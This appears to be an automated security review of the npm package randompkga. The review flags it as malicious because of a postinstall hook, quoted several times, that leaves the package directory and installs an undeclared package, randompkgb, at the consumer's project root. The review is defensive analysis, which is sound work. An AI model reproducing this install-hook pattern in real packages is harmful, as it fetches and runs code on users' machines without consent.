## Security analysis

### Published attack-surface review

- **Summary:** On npm install, the package changes to the consuming project root and installs randompkgb outside its declared dependency graph. This creates an unconsented staged payload path.

- **Trigger:** npm postinstall

- **Impact:** Installs and executes a separately resolved package during installation.

- **Evidence paths:** package.json

- **Review source:** ai\_review

- **Reviewed:** 2026-08-19T18:04:40.896Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** project-root npm install of undeclared package

- **Attack narrative:** Installing randompkga invokes its postinstall hook. The hook leaves node\_modules/randompkga, runs npm i randompkgb at the consumer project root, and returns. This bypasses normal manifest dependency declaration and delegates install-time execution to a separately fetched package.

- **Rationale:** The install hook performs an undeclared, project-root package installation, a concrete staged-payload mechanism. No benign package functionality or source explains this behavior.

- **Files touched:** package.json, ../.., ../../node\_modules/randompkgb

### Review decision

- **Verdict:** Malicious

- **Confidence:** 94.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** postinstall escapes the package directory and runs npm i randompkgb in the consuming project., The second package is not declared as a dependency, causing an unconsented install-time payload fetch.

- **Evidence against:** Package contains only package.json; no runtime source, network code, or credential harvesting was found., No exact network endpoint is present in package source.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/randompkga@1.0.10/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.postinstall = cd ../.. && npm i randompkgb && cd node_modules/randompkga
```

### 2. Critical: Red Install Lifecycle Script
- **Category:** Manifest
- **Confidence:** 95.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/randompkga@1.0.10/package.json>)

Install-time lifecycle script matches a deterministic static-gate block pattern.

Public source snippet (untrusted):

```json
scripts.postinstall = cd ../.. && npm i randompkgb && cd node_modules/randompkga
```

### 3. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 4. High: Suspicious Lifecycle Evidence
- **Category:** Manifest
- **Confidence:** 94.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/randompkga@1.0.10/package.json>)

postinstall escapes the package directory and runs npm i randompkgb in the consuming project.

Public source snippet (untrusted):

```json
"scripts": {
    "postinstall": "cd ../.. && npm i randompkgb && cd node_modules/randompkga"
  }
```

### 5. High: Suspicious Dependency Evidence
- **Category:** Dependency
- **Confidence:** 94.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/randompkga@1.0.10/package.json>)

The second package is not declared as a dependency, causing an unconsented install-time payload fetch.
